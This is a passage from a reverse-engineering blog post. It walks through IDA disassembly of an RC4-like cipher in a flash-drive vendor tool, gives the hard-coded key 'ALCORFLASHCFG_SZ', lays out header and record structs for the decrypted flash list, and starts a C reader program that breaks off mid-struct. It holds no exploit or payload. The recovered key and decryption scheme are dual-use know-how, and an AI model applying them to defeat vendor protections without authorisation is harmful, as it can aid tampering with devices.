</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046B9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046BA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046BB </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10004760
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046C0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edx, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">20h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046C4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046C7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor eax, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046C9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor ecx, ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046CB </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test edx, edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046CD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jbe short loc_10004740
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046CF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub ebp, edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046D1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046D5
.text:100046D5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100046D5: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004680+BAj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046D5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">inc eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046D6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">and eax, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046DB </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, [eax+esi]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046DE </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov bl, [eax+esi]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046E1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add edx, ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046E3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">and edx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046E9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046EB </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, [ecx+esi]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046EE </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor bl, dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046F0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [eax+esi], bl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046F3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, bl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046F5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov bl, [ecx+esi]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046F8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor bl, dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046FA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ecx+esi], bl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046FD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, bl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100046FF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov bl, [eax+esi]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004702 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor bl, dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004704 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [eax+esi], bl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004707 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, bl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004709 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor ebx, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000470B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">and edx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004711 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov bl, [ecx+esi]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004714 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add edx, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004716 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">and edx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">800000FFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000471C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jns short loc_10004726
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000471E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">dec edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000471F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">or edx, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFFFFF00h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004725 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">inc edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004726
.text:10004726 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004726: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004680+9Cj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004726 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, [edx+esi]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004729 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov bl, [edi+ebp]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000472C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor dl, bl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000472E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [edi], dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004730 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edx, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004734 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">inc edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004735 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">dec edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004736 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000473A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jnz short loc_100046D5
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000473C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_10</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004740
.text:10004740 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004740: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004680+4Dj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004740 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; void *
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004741 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??3@YAXPAX@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; operator delete(void *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004746 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004749 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000474B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000474C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000474D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000474E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000474F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">retn
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004750 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004750
.text:10004750 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004750: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004680+9j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004750 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; sub_10004680+15j ...
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004750 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004751 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004752 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor eax, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004754 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004755 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">retn
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004755 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">sub_10004680 endp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004755
.text:10004755 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span></div>
<div>
<span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;"><br /></span></div>
<span style="font-family: inherit;"><span style="white-space: pre;">This one is clearly an encryption algorithm, but before having a complete view on the problem there's also another function: </span></span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub_10004760</span><br />
<div>
<span style="white-space: pre;">s</span></div>
<div>
<span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004760
.text:10004760 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; =============== S U B R O U T I N E =======================================
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004760
.text:10004760
.text:10004760 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">sub_10004760 proc near </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004680+3Bp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004760
.text:10004760 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004760 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">8
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004760 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">0Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004760
.text:10004760 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004761 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebx, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004765 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test ebx, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004767 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_100047CC
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004769 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_8</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000476D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test ecx, ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000476F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_100047CC
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004771 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004772 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004773 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004774 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor edi, edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004776 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor eax, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004778
.text:10004778 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004778: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004760+21j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004778 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [eax+ecx], al
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000477B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">inc eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000477C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp eax, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004781 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jb short loc_10004778
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004783 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebp, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_4</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004787 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor esi, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004789
.text:10004789 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004789: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004760+63j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004789 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000478B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor edx, edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000478D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">div ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000478F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov al, [edx+ebx]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004792 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, [esi+ecx]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004795 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add edi, edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004797 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add eax, edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004799 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">and eax, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000479E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047A0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov al, [edi+ecx]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047A3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor dl, al
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047A5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [esi+ecx], dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047A8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov al, dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047AA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, [edi+ecx]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047AD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor dl, al
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047AF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [edi+ecx], dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047B2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov al, dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047B4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dl, [esi+ecx]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047B7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor dl, al
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047B9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [esi+ecx], dl
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047BC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">inc esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047BD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp esi, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047C3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jb short loc_10004789
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047C5 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047C6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047C7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047C8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047CA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100047CB </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">retn</span></div>
<div>
<span style="font-family: inherit;"><span style="white-space: pre;"><br /></span></span></div>
<div>
<span style="font-family: inherit;"><span style="white-space: pre;"><br /></span></span></div>
<div>
<span style="font-family: inherit;"><span style="white-space: pre;">After studying on it some hours i've figured out that </span></span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub_10004760 </span><span style="white-space: pre;"><span style="font-family: inherit;">is a function used to inizialize a vector of length 256 ( 0x100 ) with the encryption key that is later used on the caller function.</span></span></div>
<div>
<span style="white-space: pre;"><span style="font-family: inherit;">With HexRays decompiler it's fairly easy to generate proper C code of these functions and so re-use them.</span></span></div>
<div>
<span style="white-space: pre;"><span style="font-family: inherit;"><br /></span></span></div>
<div>
<span style="white-space: pre;">The file is made of a first 256 byte block , that encrypted using the algorithm above and </span><span style="white-space: pre;">"ALCORFLASHCFG_SZ"</span><span style="white-space: pre;"> as the key yields other 256 bytes that have to be used as the key for the next 256 byte block inside the file that is the header.</span></div>
<div>
<span style="white-space: pre;"><br /></span></div>
<div>
<span style="white-space: pre;">The header contains some useful info like the size of each record , the number of records and what i think to be the version ( 4 ) as follows:</span></div>
<div>
<span style="white-space: pre;"><br /></span></div>
<div>
<pre style="background-color: white; color: #1f1c1b;"><b>typedef</b> <b>struct</b> {
<span style="color: #0057ae;">char</span> headerMagic[<span style="color: #b08000;">16</span>];
<span style="color: #0057ae;">int</span> unk1;
<span style="color: #0057ae;">int</span> unk2;
<span style="color: #0057ae;">int</span> unk3;
<span style="color: #0057ae;">int</span> unk4;
<span style="color: #0057ae;">int</span> unk5; <span style="color: #898887;">// 1</span>
<span style="color: #0057ae;">int</span> version; <span style="color: #898887;">//Confirmed?</span>
<span style="color: #0057ae;">int</span> entry_size; <span style="color: #898887;">// Confirmed?</span>
<span style="color: #0057ae;">int</span> entry_count;
} AlcorFlashListHeader;</pre>
<pre style="background-color: white; color: #1f1c1b;">
</pre>
<div style="background-color: white; color: #1f1c1b;">
<span style="font-family: inherit;">The data after the header is organized in entry_size sized blocks and each one is decrypted using the same key obtained to decrypt the header, but , the first keybyte has to be the record number starting from 0 and the last keybyte has to be the bitwise negation of the record number</span></div>
<div style="background-color: white; color: #1f1c1b;">
<span style="font-family: inherit;"><br /></span></div>
<div style="background-color: white; color: #1f1c1b;">
<span style="font-family: inherit;">This gives us records on which i'm still working to figure out the exact format , but what i've defined so far:<br /></span></div>
<pre style="background-color: white; color: #1f1c1b;"><b>typedef</b> <b>struct</b> {
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> vendor[<span style="color: #b08000;">16</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> partno[<span style="color: #b08000;">32</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> id[<span style="color: #b08000;">6</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> unk1[<span style="color: #b08000;">0xb</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> CE;</pre>
<pre style="background-color: white; color: #1f1c1b;">....</pre>
<pre style="background-color: white; color: #1f1c1b;">
</pre>
<div style="background-color: white; color: #1f1c1b;">
Other fields still have to be reverse engineered, and they are mandatory to be able to write a program that can reprogram these flash drives.</div>
<div style="background-color: white; color: #1f1c1b;">
<br /></div>
<div style="background-color: white; color: #1f1c1b;">
The complete program that can read the flash list is the following:</div>
<div style="background-color: white; color: #1f1c1b;">
<br /></div>
<pre style="background-color: white; color: #1f1c1b;"><span style="color: #006e28;">#include </span><span style="color: #006e28;"><iostream></span>
<span style="color: #006e28;">#include </span><span style="color: #006e28;"><stdio.h></span>
<span style="color: #006e28;">#include </span><span style="color: #006e28;"><string.h></span>
<span style="color: #006e28;">#include </span><span style="color: #006e28;"><stdlib.h></span>
<span style="color: #006e28;">#define LOBYTE(v) *((unsigned char*)&v)</span>
<span style="color: #006e28;">#pragma pack(push, 1)</span>
<b>typedef</b> <b>struct</b> {
<span style="color: #0057ae;">char</span> headerMagic[<span style="color: #b08000;">16</span>];
<span style="color: #0057ae;">int</span> unk1;
<span style="color: #0057ae;">int</span> unk2;
<span style="color: #0057ae;">int</span> unk3;
<span style="color: #0057ae;">int</span> unk4;
<span style="color: #0057ae;">int</span> unk5; <span style="color: #898887;">// 1</span>
<span style="color: #0057ae;">int</span> version; <span style="color: #898887;">//Confirmed?</span>
<span style="color: #0057ae;">int</span> entry_size; <span style="color: #898887;">// Confirmed?</span>
<span style="color: #0057ae;">int</span> entry_count;
} AlcorFlashListHeader;
<b>typedef</b> <b>struct</b> {
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> vendor[<span style="color: #b08000;">16</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> partno[<span style="color: #b08000;">32</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> id[<span style="color: #b08000;">6</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> unk1[<span style="color: #b08000;">0xb</span>];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> CE;
<span style="color: #898887;">/*</span><span style="color: #898887;">unsigned char unk2[14];</span>
